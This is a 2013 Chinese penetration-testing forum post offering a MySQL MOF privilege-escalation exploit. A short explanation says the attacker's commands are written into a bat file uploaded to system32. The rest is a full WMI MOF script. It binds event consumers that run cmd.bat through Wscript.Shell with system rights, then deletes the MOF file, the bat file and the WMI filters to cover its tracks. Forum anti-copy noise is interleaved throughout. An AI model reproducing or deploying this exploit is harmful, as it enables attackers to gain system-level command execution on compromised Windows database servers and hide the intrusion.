中国网络渗透测试联盟
标题:
Mysql 提权即时无错Mof exp
[打印本页]
作者:
admin
时间:
2013-2-14 00:05
标题:
Mysql 提权即时无错Mof exp
这个sql提权MOF需要运行 system下的文件,不能定义路径。
9 G9 g3 c6 F" T3 @9 [; ?% A
需要将要运行的命令写入到bat上传到system32目录,然后执行。
$ Q' H6 K3 }( ]1 M
, w t' z* P% o& K3 K! I0 W
这个sql提权MOF需要运行 system下的文件,不能定义路径。
6 ]4 {3 u1 o! X' s
需要将要运行的命令写入到bat上传到system32目录,然后执行。
7 \0 i+ s2 L r8 j+ b4 G1 Y
- i1 B5 T1 k: I6 }
#pragma
9 L$ e% @8 J, T0 J/ C% {7 \
namespace("\\\\.\\root\\cimv2")
: j( i: r" s, D3 f
class
0 S5 ]( p; [& K; P# F
MyClass547
$ A; m g: a7 M v
{ [key]
: F! C# p+ _& ^' |8 z
string
$ Z- X1 m) Y( t, J
Name;
! f9 [; r8 D: W$ T- x
};
2 Y: F* X" f' u2 n* Z+ Z& S
class
! K4 F: G/ @3 i
ActiveScriptEventConsumer
& E0 p+ Y1 r/ r% l6 `
: __EventConsumer { [key]
3 G7 [. h# ?- d
string
3 i V8 [& ]$ @9 J; T* N
Name; [not_null]
5 Z! B# M8 r) V9 f4 N9 t
string
6 t0 n" R& [1 B) m# T4 ^8 h
ScriptingEngine; string
9 ~, g, J x5 `" J, T' n* X# z
ScriptFileName; [template]
1 N) B: ~: g* S8 q6 z1 d p
string
3 j2 n* D' z0 [, w. l
ScriptText; uint32 KillTimeout;
) S) x9 o& s6 ~$ O/ T, e4 A/ `
}; instance of __Win32Provider as $P {
$ Q; q4 P2 F$ X5 C' \8 H9 H
Name
: ~( J) Q7 N! Y+ r; x9 i) d& }- u
=
" k1 N" Y) Y1 X9 P' y. P9 U! y
"ActiveScriptEventConsumer"; CLSID =
9 y3 r3 @- _0 D2 |* _
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
4 q4 b/ W0 J1 g% \% Q, p
PerUserInitialization
9 l/ o& |8 Z6 h$ E+ c* {5 ~# q0 k
= TRUE;
* C9 s5 i+ d" t/ \
}; instance of __EventConsumerProviderRegistration { Provider
8 ]1 o' d: W& t1 ?1 z7 M6 v u
= $P; ConsumerClassNames
2 y8 Q% x5 O" l- A" p7 L) `
=
! @) v) y) u. N+ z" z* w
{"ActiveScriptEventConsumer"};
7 v6 T; L' B2 u" I
};
, s9 L. d5 Y' d$ ?
Instance of ActiveScriptEventConsumer
$ X) u& @4 `$ s
as $cons { Name
& B, r' e. p$ g8 Q3 v0 v
=
) o u6 j. \. |4 U% _. ~
"ASEC"; ScriptingEngine
" z' o0 f9 { [6 N5 x2 {% D- k
=
' y; h& \4 V# a/ Z5 n
"JScript"; ScriptText
- I3 ~$ C0 n/ k+ A
=
, {' T/ y K3 }
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
: D& A# H" C5 V2 c' R4 E
Instance of ActiveScriptEventConsumer
- B! R/ Z3 t a4 ?& J
as $cons2 { Name
! e1 Z0 }" m3 ^& @9 t. S9 m
=
# J6 y1 Q* v" z$ s0 i- q
"qndASEC"; ScriptingEngine
8 J2 d5 Q4 w/ @# V
=
# K7 x& D2 C/ o- i8 B; m: F
"JScript"; ScriptText
$ B9 ~( D1 ?" ~; K
=
3 F4 P% g1 u! b8 b) |( M2 x9 w
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
8 j' F/ A: r; h" ~
}; instance of __EventFilter as $Filt { Name
8 O# q2 V) C: d3 l3 ~: @ g+ K$ c
=
. e6 [8 I( q3 p7 e: g
"instfilt"; Query
0 r7 a1 n d% P( ? g) {% D
=
S9 O, [& i7 K' X0 ^
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
5 Y4 m: K/ u+ W3 Y' T. a
=
, l; V; [: l X9 s
"WQL"; }; instance of __EventFilter as $Filt2 { Name
+ j" ~7 s* W7 N4 k+ R. z
=
! B F! S* `2 d* r6 T) u
"qndfilt"; Query
- K5 u, D3 T1 C
=
0 ?/ h5 |$ P+ G) h
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
8 l; Q* v* `# x+ Y: M6 f+ |
=
0 ]7 ^. {( I! c
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
+ T$ h6 L- w7 V6 |$ ^% [$ G- ^
= $cons; Filter
5 c' a+ v' G7 T' D4 e
= $Filt;
" j- Z: {' [' G. k3 K# k
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
3 ?8 K2 d7 f8 N( [- P9 z* C' Z
= $cons2; Filter
5 j: i& M, k5 E; D4 v: m
= $Filt2;
+ v+ p Z: ]* ]7 X
}; instance of MyClass547
3 o9 l5 l# L0 b( |
as $MyClass { Name
7 U s& _' }0 j' Q" ?# z
=
4 e! [: g8 t2 J R: H
"ClassConsumer";
6 ]7 V9 [' G* h: I f
};
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2